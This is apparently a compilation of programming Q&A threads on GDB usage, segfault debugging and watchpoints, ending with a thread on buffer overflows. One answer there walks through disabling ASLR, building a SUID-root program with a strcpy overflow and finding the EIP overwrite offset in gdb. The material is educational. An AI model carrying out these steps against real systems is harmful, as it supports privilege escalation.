As reference, I'm using the following code:
#include <stdio.h>
#include <string.h>
int main (void) {
char buf[100]; // ------> How do I find the address in gdb?
printf ("Buffer is at memory location: %08x\n", &buf);
strcpy (buf, "some random text");
printf ("Text is [%s]\n", buf);
return 0;
}
How can I get gdb to show me the address of the buf variable?
(gdb) p &a if you need the address of variable a. A variable might be cached in a register though, in which case GDB would tell you address requested for identifier "a" which is in register $xxx.
Sidenote: do not use gets, see here.
The & operator will work when gdb is set to C language mode (and Objective-C).
In any language mode you can use
(gdb) info address buf
Symbol "buf" is static storage at address 0x903278.
(The output does not correspond exactly to your code.) I am writing this answer because this question is found even by people looking for the answer for other languages (including myself). One can also always switch to the C mode by set language c, but the symbol names may be different after this change.
If you enter the following into gdb, you'll get the address:
start
p &buf
as in the following transcript:
pax$ gdb ./qq.exe
GNU gdb 6.8.0.20080328-cvs (cygwin-special)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-cygwin"...
(gdb) start
Breakpoint 1 at 0x401144: file qq.c, line 2.
Starting program: /home/pax/qq.exe
[New thread 2912.0xf9c]
[New thread 2912.0x518]
main () at qq.c:2
2 int main (int argc, char **argv) {
(gdb) p &buf
$1 = (char (*)[100]) 0x22ccd0
(gdb)
Related
The ELF symtab table reports that my variable has size 16. In particular, after running readelf -s mybinary, I see the following output:
Num: Value Size Type Bind Vis Ndx Name
83: 0804a718 16 OBJECT LOCAL DEFAULT 25 myVar
However, when I open GDB to examine the size of myVar, I see the following output:
print sizeof(myVar)
$1 = 4
I am not sure where this discrepancy is arising from. For some background, I am using x86-32, and I do not have access to the source file, so I do not know the actual type of myVar.
You must have an old GDB version (older than 8.1).
From the GDB NEWS file:
*** Changes in GDB 8.1
...
GDB no longer assumes functions with no debug information return
'int'.
...
Similarly, GDB no longer assumes that global variables with no debug
info have type 'int', and refuses to print the variable's value
unless you tell it the variable's type:
(gdb) p var
'var' has unknown type; cast it to its declared type
(gdb) p (float) var
$3 = 3.14
As the text says, before 8.1 GDB treated any variable without debug info as having int type, and sizeof(int) is 4 on your system.
Online version of the NEWS has slightly different text:
GDB no longer makes assumptions about the type of symbols without
debugging information to avoid producing erroneous and often confusing results;
P.S.
I already tried this. Neither gives any extra information
When asking a question, it helps to supply all relevant info and state what you have already tried.
Stating the version of GDB you are using would have helped as well.
My c++ program gives me a seg fault when I run as root from my computer but not when I start a remote session. My program run from my computer only as a user. What can be the problem? I wrote my program for an embedded device and I'm using this to compile:
gcc -Werror notify.cc -o notify `pkg-config --libs --cflags gtk+-2.0 hildon-notifymm hildonmm hildon-fmmm'
I'm not getting any error. Could it be a flag problem? I can post my code.
EDIT: When I start my program with gdb I get this:
Program received signal SIGSEGV, Segmentation fault.
0x40eed060 in strcmp () from /lib/libc.so.6
0x40eed060 <strcmp+0>: ldrb r2, [r0], #1
Backtrace give this:
(gdb) backtrace
#0 0x40eed060 in strcmp () from /lib/libc.so.6
#1 0x40b7f190 in dbus_set_g_error ()
from /usr/lib/libdbus-glib-1.so.2
#2 0x40b7d060 in dbus_g_bus_get () from /usr/lib/libdbus-glib-1.so.2
#3 0x400558ec in notify_init () from /usr/lib/libnotify.so.1
#4 0x4004a240 in Notify::init(Glib::ustring const&) ()
from /usr/lib/libnotifymm-1.0.so.7
#5 0x40033794 in Hildon::notify_init(Glib::ustring const&) ()
from /usr/lib/libhildon-notifymm-1.0.so.1
Here is my code:
#include <hildonmm.h>
#include <hildon-notifymm.h>
#include <hildon/hildon-notification.h>
#include <libnotifymm/init.h>
#include <gtkmm/stock.h>
#include <dbus/dbus.h>
#include <dbus/dbus-glib.h>
#include <dbus/dbus-glib-lowlevel.h>
#include <iostream>
int main(int argc, char *argv[])
{
// Initialize gtkmm and maemomm:
Hildon::init();
Hildon::notify_init("Notification Example");
// Initialize D-Bus (needed by hildon-notify):
DBusConnection* conn = dbus_bus_get(DBUS_BUS_SESSION, NULL);
dbus_connection_setup_with_g_main(conn, NULL);
// Create a new notification:
Glib::RefPtr<Hildon::Notification> notification = Hildon::Notification::create("Something Happened", "A thing has just happened.", Gtk::Stock::OPEN);
// Show the notification:
std::auto_ptr<Glib::Error> ex;
notification->show(ex);
if(ex.get())
{
std::cerr << "Notification::show() failed: " << ex->what() << std::endl;
}
return 0;
}
EDIT: Problem solved. Program needs a DBUS_SESSION_ADDRESS in the env of the terminal.
The problem is that you've invoked undefined behavior somewhere. Undefined behavior can behave differently on different machines, different runs on the same machine, whatever. You've got to find where you let a wild pointer happen and deal with it.
Most likely you're just getting "lucky" when running as a limited user and either the page permissions on your process are set to allow whatever invalid memory access you're getting, or you have some root-specific code which isn't being reached when run in usermode only.
You might want to run your program under valgrind. I wrote a tiny program that writes outside of an allocated array:
$ valgrind ./segfault
==11830== Memcheck, a memory error detector
==11830== Copyright (C) 2002-2010, and GNU GPL'd, by Julian Seward et al.
==11830== Using Valgrind-3.6.0.SVN-Debian and LibVEX; rerun with -h for copyright info
==11830== Command: ./segfault
==11830==
==11830== Invalid write of size 1
==11830== at 0x4004BF: main (in /tmp/segfault)
==11830== Address 0x7feff65bf is not stack'd, malloc'd or (recently) free'd
==11830==
==11830==
==11830== Process terminating with default action of signal 11 (SIGSEGV)
==11830== Access not within mapped region at address 0x7FEFF65BF
==11830== at 0x4004BF: main (in /tmp/segfault)
==11830== If you believe this happened as a result of a stack
==11830== overflow in your program's main thread (unlikely but
==11830== possible), you can try to increase the size of the
==11830== main thread stack using the --main-stacksize= flag.
==11830== The main thread stack size used in this run was 8388608.
==11830==
==11830== HEAP SUMMARY:
==11830== in use at exit: 0 bytes in 0 blocks
==11830== total heap usage: 0 allocs, 0 frees, 0 bytes allocated
==11830==
==11830== All heap blocks were freed -- no leaks are possible
==11830==
==11830== For counts of detected and suppressed errors, rerun with: -v
==11830== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 4 from 4)
Segmentation fault
The most important part of this output is here:
==11830== Invalid write of size 1
==11830== at 0x4004BF: main (in /tmp/segfault)
The write of size 1 might help you figure out which line was involved:
int main(int argc, char *argv[]) {
char f[1];
f[-40000]='c';
return 0;
}
Another very useful tool to know is gdb. If you set your rlimits to allow dumping core (see setrlimit(2) for details on the limits, and your shell's manual (probably bash(1)) for details on the ulimit built-in command) then you can get a core file for use with gdb:
$ ulimit -c 1000
$ ./segfault
Segmentation fault (core dumped)
$ gdb --core=core ./segfault
GNU gdb (GDB) 7.2-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /tmp/segfault...(no debugging symbols found)...done.
[New Thread 11951]
warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.12.1.so...done.
done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.12.1.so...done.
done.
Loaded symbols for /lib64/ld-linux-x86-64.so.2
Core was generated by `./segfault'.
Program terminated with signal 11, Segmentation fault.
#0 0x00000000004004bf in main ()
(gdb) bt
#0 0x00000000004004bf in main ()
(gdb) quit
Depending upon the size of your program, you might need to give way more than 1000 blocks to the allowed core file. If this program were remotely complicated, knowing the call chain to get to the segfault could be vital information.
It's hard to say anything specific without seeing any code, so I'll give you some general
advice: learn to use your debugger (probably gdb), and try to reproduce the failure
under the debugger. If you're lucky, the segfault will still occur under the debugger,
you'll get a stack trace showing where it failed, and that will give you a starting point that will let you work your way back to the true source of the problem.
If you're unlucky, the problem might disappear if you compile with debugging support, or
run it under gdb. In that case you'll have to resort to code inspection, and scrub your
code for any undefined behavior (for example, wild or uninitialized pointers, as
Billy ONeal suggests).
Set ulimit -c unlimited.
Run your program and let it crash. It should now core dump.
Run gdb <program-name> core
If you use the bt (backtrace) command, it should give you a good idea where the crash is happening. This should then help you fix it.
An earlier question explained that on x86 the size of objects being watched is limited by debug registers. As expected, I can "watch" a double variable. But I can't watch a double datamember, for example,
watch pObject->dPrice
produces
Hardware watchpoint 1: pObject->dPrice
But when you try to continue execution, it says
Could not insert hardware breakpoints:
You may have requested too many hardware breakpoints/watchpoints.
even though this is the only breakpoint/watchpoint.
I'm curious why this is so, but more importantly is there a way around it? According to GDB documentation it may use software watchpoints if it can't use hardware. In this case it makes no attempt to use a software watchpoint -- is there a way to force it to do so?
Yes, you can:
set can-use-hw-watchpoints 0
From 5.1.2 Setting Watchpoints:
You can force GDB to use only software watchpoints with the set can-use-hw-watchpoints 0 command. With this variable set to zero, GDB will never try to use hardware watchpoints, even if the underlying system supports them. (Note that hardware-assisted watchpoints that were set before setting can-use-hw-watchpoints to zero will still use the hardware mechanism of watching expression values.)
set can-use-hw-watchpoints
Set whether or not to use hardware watchpoints.
show can-use-hw-watchpoints
Show the current mode of using hardware watchpoints.
Short answer: Use watch -location pObject->dPrice, or the short form watch -l.
Long answer: Quoting the GDB manual:
Watching complex expressions that reference many variables can also exhaust the resources available for hardware-assisted watchpoints. That's because GDB needs to watch every variable in the expression with separately allocated resources.
GDB quite literally watches the expression itself, not whatever address it points to. In this case, it means that the breakpoint will hit if pObject itself is changed to point to a new dPrice; there's not just a watchpoint for pObject->dPrice, but also one for pObject itself. This may be more than what's available.
A more comprehensive example:
// Set a watchpoint on '*p' before running
#include <stdio.h>
int a = 0;
int b = 0;
int c = 0;
int* p = &a;
int main()
{
puts("Hi"); // Dummy lines to make the results clearer, watchpoints stop at the line after the change
*p = 1; // Breaks: *p was changed from 0 to 1
puts("Hi");
a = 2; // Breaks: a is *p, which changed from 1 to 2
puts("Hi");
p = &b; // Breaks: p is now b, changing *p from 2 to 0
puts("Hi");
p = &c; // Doesn't break: while p changed, *p is still 0
puts("Hi");
p = NULL; // Breaks: *p is now unreadable
puts("Hi");
return 0;
}
In theory, this is a useful feature; you can watch a complex expression, breaking as soon as it's false, somewhat like a constantly-tested assertion. For example, you can watch a==b in the above program.
In practice, it's unexpected, often triggers this issue, and usually isn't what you want.
To watch only the target address, use watch -location pObject->dPrice. (This is available as of GDB 7.3, released in July 2011; if you're using anything older, use print &pObject->dPrice and watch *(double*)0x12345678, or whichever address it prints.)
I'm not 100% sure, but my understanding is that when you watch pObject->dPrice, GDB tries to watch anything that can change the watched value.
Using software watchpoints, after each step GDB checks if the expression has changed. Using hardware watchpoints, GDB has to set a watchpoint for dprice, as you expect, but also for pObject.
Now, you tagged the question 'x86'. On x86 you can set breakpoints for up to four bytes. A double is eight bytes. If you want to watch a double, I would guess that GDB would need two hardware watchpoints. You need an additional watchpoint for pObject as well. I'm guessing that GDB tries to watch all of pObject, which goes back to the problem in the question you linked in the question.
When I want to do something similar, if I'm certain that the pointer pObject will not change, I usually do:
p &pObject->dprice
Let's say GDB says the address is (double *) 0xabcdef10, now I do:
watch (double *) *0xabcdef10
and watch only what I want to.
Note: I don't have GDB open in front of me, so I may have the exact syntax for the watch command wrong (regarding the placement of the *), so check it out first.
Do you know any other reasons why a watchpoint could not be inserted other than too many hardware breakpoints/watchpoints?
I have the following debug session:
GNU gdb (GDB) 7.1
...
(gdb) watch itrap_t_beg[1][222]
Hardware watchpoint 1: itrap_t_beg[1][222]
(gdb) cont
Continuing.
...
Hardware watchpoint 1: itrap_t_beg[1][222]
...
(gdb) cont
Continuing.
Warning:
Could not insert hardware watchpoint 1.
Could not insert hardware breakpoints:
You may have requested too many hardware breakpoints/watchpoints.
(gdb) info break
Num Type Disp Enb Address What
1 hw watchpoint keep y itrap_t_beg[1][222]
breakpoint already hit 1 time
As you can see, there's only one watchpoint yet it can't insert the breakpoint.
Do you know how can I fix this?
As far as I know commodity x86 CPUs have four debug registers available for supporting hardware breaks/watches. This limits the object size that you can watch. Object alignment also plays here.
Try limiting the watch scope to a smaller object like pair of first and last members of the structure.
Can force software breakpoints (which do not have limit on size) by running
set can-use-hw-watchpoints 0
Shot answer: Use watch -location itrap_t_beg[1][222], or the short form watch -l.
Long answer: Quoting the GDB manual:
Watching complex expressions that reference many variables can also exhaust the resources available for hardware-assisted watchpoints. That's because gdb needs to watch every variable in the expression with separately allocated resources.
gdb quite literally watches the expression itself, not whatever address it points to. In this case, it means that the breakpoint will hit if itrap_t_beg itself is changed such that itrap_t_beg[1][222] does; there's not just a watchpoint for itrap_t_beg[1][222], but also one for itrap_t_beg itself. This may be more than what's available.
In your case, itrap_t_beg is 7 ints, 28 bytes. A x86_64 watchpoint is up to eight bytes, so GDB needs four watchpoints for the entire structure - plus a fifth for itrap_t_beg itself. The x86 family only supports four simultaneous watchpoints.
A more comprehensive example on how watchpoints work:
//set a watchpoint on '*p' before running
#include <stdio.h>
int a = 0;
int b = 0;
int c = 0;
int* p = &a;
int main()
{
puts("Hi"); // Dummy lines to make the results clearer, watchpoints stop at the line after the change
*p = 1; // Breaks: *p was changed from 0 to 1
puts("Hi");
a = 2; // Breaks: a is *p, which changed from 1 to 2
puts("Hi");
p = &b; // Breaks: p is now b, changing *p from 2 to 0
puts("Hi");
p = &c; // Doesn't break: while p changed, *p is still 0
puts("Hi");
p = NULL; // Breaks: *p is now unreadable
puts("Hi");
return 0;
}
In theory, this is a useful feature; you can watch a complex expression, breaking as soon as it's false, somewhat like a constantly-tested assertion. For example, you can watch a==b in the above program.
In practice, it's unexpected, often triggers this issue, and usually isn't what you want.
To watch only the target address, use watch -location itrap_t_beg[1][222]. (This is available as of GDB 7.3, released in July 2011; if you're still on 7.1, use print &itrap_t_beg[1][222] and watch *(itrap_t)0x12345678, or whichever address it prints.)
I have heard about a buffer overflow and I would like to know how to cause one.
Can someone show me a small buffer overflow example?
New(And what they are used for?)
Classical example of a buffer-overflow:
// noone will ever have the time to type more than 64 characters...
char buf[64];
gets(buf); // let user put his name
The buffer overflow alone does most often not happen purposely. It happens most often because of a so-called "off-by-one" error. Meaning you have mis-calculated the array-size by one - maybe because you forgot to account for a terminating null character, or because some other stuff.
But it can also be used for some evil stuff. Indeed, the user long knew this hole, and then inserts say 70 characters, with the last ones containing some special bytes which overwrite some stack-slot - if the user is really tricky he/she will hit the return-address slot in the stack, and overwrites it so it jumps forward into that just inserted buffer: Because what the user entered was not his name, but his shell-code that he previously compiled and dumped out. That one will then just executed. There are some problems. For example, you have to arrange not to have a "\n" in that binary code (because gets would stop reading there). For other ways that mess with dangerous string functions, the binary zero is problematic because string functions stop copying there to the buffer. People have used xor with two times the same value to produce a zero too, without writing a zero byte explicitly.
That's the classic way of doing it. But there are some security blocks that can tell that such things happened and other stuff that make the stack non-executable. But i guess there are way better tricks than i just explained. Some assembler guy could probably now tell you long stories about that :)
How to avoid it
Always use functions that take a maximal-length argument too, if you are not 100% sure that a buffer is really large enough. Don't play such games as "oh, the number will not exceed 5 characters" - it will fail some day. Remember that one rocket where scientists said that the number will not exceed some magnitude, because the rocket would never be that fast. But some day, it was actually faster, and what resulted was an integer overflow and the rocket crashed (it's about a bug in Ariane 5, one of the most expensive Computer bugs in history).
For example, instead of gets use fgets. And instead of sprintf use snprintf where suitable and available (or just the C++ style things like istream and stuff)
A buffer overflow is basically when a crafted section (or buffer) of memory is written outside of its intended bounds. If an attacker can manage to make this happen from outside of a program it can cause security problems as it could potentially allow them to manipulate arbitrary memory locations, although many modern operating systems protect against the worst cases of this.
While both reading and writing outside of the intended bounds are generally considered a bad idea, the term "buffer overflow" is generally reserved for writing outside the bounds, as this can cause an attacker to easily modify the way your code runs. There is a good article on Wikipedia about buffer overflows and the various ways they can be used for exploits.
In terms of how you could program one yourself, it would be a simple matter of:
char a[4];
strcpy(a,"a string longer than 4 characters"); // write past end of buffer (buffer overflow)
printf("%s\n",a[6]); // read past end of buffer (also not a good idea)
Whether that compiles and what happens when it runs would probably depend on your operating system and compiler.
In the modern linux OS you can't made exploiting buffer overflow without some EXTRA experiment.
why ? because you will be blocked by ASLR (Address Stack Layer Randomization) and stack protector in this modern GNU C compiler. you will not locate memory easily because memory will fall into random memory caused by ASLR. and you will blocked by stack protector if you try to overflow the program.
For begining you need to put of ASLR to be 0
default value is 2
root#bt:~# cat /proc/sys/kernel/randomize_va_space
2
root#bt:~# echo 0 > /proc/sys/kernel/randomize_va_space
root#bt:~# cat /proc/sys/kernel/randomize_va_space
0
root#bt:~#
in this is case not about OLD STYLE buffer overflow tutorial you may got from internet. or aleph one tutorial will not work anymore in your system now.
now lets make a program vulnerability to buffer overflow scenario
---------------------bof.c--------------------------
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buffer[400];
strcpy(buffer, argv[1]);
return 0;
}
---------------------EOF-----------------------------
looks at strcpy function is dangerous without stack protector, because function without checking how many bytes we will input.
compile with extra option -fno-stack-protector dan -mpreferred-stack-boundary=2 for take off stack protector in your C program
root#bt:~# gcc -g -o bof -fno-stack-protector -mpreferred-stack-boundary=2 bof.c
root#bt:~# chown root:root bof
root#bt:~# chmod 4755 bof
buffer overflow C program with SUID root access scenatio now we have make it.
now lets search how many bytes we need to put into buffer to made a program segmentation fault
root#bt:~# ./bof `perl -e 'print "A" x 400'`
root#bt:~# ./bof `perl -e 'print "A" x 403'`
root#bt:~# ./bof `perl -e 'print "A" x 404'`
Segmentation fault
root#bt:~#
you see we need 404 bytes to made program segmentation fault (crash) now how many bytes we need to overwrite EIP ? EIP is instruction will be executed after. so hacker do overwrite EIP to evil instruction what they want in the binary SUID on the program. if the program in the SUID root, the instruction will be runned in root access.
root#bt:~# gdb -q bof
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3
4 int main(int argc, char** argv)
5 {
6 char buffer[400];
7 strcpy(buffer, argv[1]);
8
9 return 0;
10 }
(gdb) run `perl -e 'print "A" x 404'`
Starting program: /root/bof `perl -e 'print "A" x 404'`
Program received signal SIGSEGV, Segmentation fault.
0xb7e86606 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) run `perl -e 'print "A" x 405'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 405'`
Program received signal SIGSEGV, Segmentation fault.
0xb7e800a9 in ?? () from /lib/tls/i686/cmov/libc.so.6
(gdb)
program GOT segmentation fault return code. let's input more bytes and take see to EIP register.
(gdb) run `perl -e 'print "A" x 406'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 406'`
Program received signal SIGSEGV, Segmentation fault.
0xb7004141 in ?? ()
(gdb)
(gdb) run `perl -e 'print "A" x 407'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 407'`
Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb)
little more
(gdb) run `perl -e 'print "A" x 408'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 408'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
(gdb) i r
eax 0x0 0
ecx 0xbffff0b7 -1073745737
edx 0x199 409
ebx 0xb7fc9ff4 -1208180748
esp 0xbffff250 0xbffff250
ebp 0x41414141 0x41414141
esi 0x8048400 134513664
edi 0x8048310 134513424
eip 0x41414141 0x41414141 <-- overwriten !!
eflags 0x210246 [ PF ZF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
now you can do your next step...
A buffer overflow is just writing past the end of a buffer:
int main(int argc, const char* argv[])
{
char buf[10];
memset(buf, 0, 11);
return 0;
}
In addition to what has already been said, keep in mind that you'r program may or may not "crash" when a buffer overflow occurs. It should crash, and you should hope it does - but if the buffer overflow "overflows" into another address that your application has also allocated - your application may appear to operate normally for a longer period of time.
If you are using a later edition of Microsoft Visual Studio - I would suggest using the new secure counterparts in the stdlib, such as sprintf_s insted of sprintf, ect...
This should be enought to reproduce it:
void buffer_overflow()
{
char * foo = "foo";
char buffer[10];
for(int it = 0; it < 1000; it++) {
buffer[it] = '*';
}
char accessViolation = foo[0];
}
The "classic" buffer overflow example is:
int main(int argc, char *argv[])
{
char buffer[10];
strcpy(buffer, argv[1]);
}
That lets you play with the buffer overflow parameters and tweak them to your hearts content. The book "Hacking - The Art of Exploitation" (Link goes to Amazon) goes into great detail about how to play around with buffer overflows (purely as an intellectual exercise obviously).
If you want to check you program for buffer overflows, you could run it with tools like Valgrind. They will find some memory management bugs for you.
This is a general comment about the answers you received. For example:
int main(int argc, char *argv[])
{
char buffer[10];
strcpy(buffer, argv[1]);
}
And:
int main(int argc, const char* argv[])
{
char buf[10];
memset(buf, 0, 11);
return 0;
}
On modern Linux platforms, this may not work as expected or intended. It may not work because of the FORTIFY_SOURCE security feature.
FORTIFY_SOURCE uses "safer" variants of high risk functions like memcpy and strcpy. The compiler uses the safer variants when it can deduce the destination buffer size. If the copy would exceed the destination buffer size, then the program calls abort().
To disable FORTIFY_SOURCE for your testing, you should compile the program with -U_FORTIFY_SOURCE or -D_FORTIFY_SOURCE=0.
In this context, a buffer is a portion of memory set aside for a particular purpose, and a buffer overflow is what happens when a write operation into the buffer keeps going past the end (writing into memory which has a different purpose). This is always a bug.
A buffer overflow attack is one which uses this bug to accomplish something that the program's author didn't intend to be possible.
With the correct answers given: To get more into this topic, you might want to listen to the Podcast Security Now. In Episode 39 (a while back) they discussed this in depth. This is a quick way to get a deeper understanding without requiring to digest a whole book.
(At the link you'll find the archive with multiple size versions as well as a transcript, if you're rather visually oriented). Audio is not the perfect medium for this topic but Steve is working wonders to deal with this.
Buffer overflow is the insertion of characters beyond what the allocated memory can hold.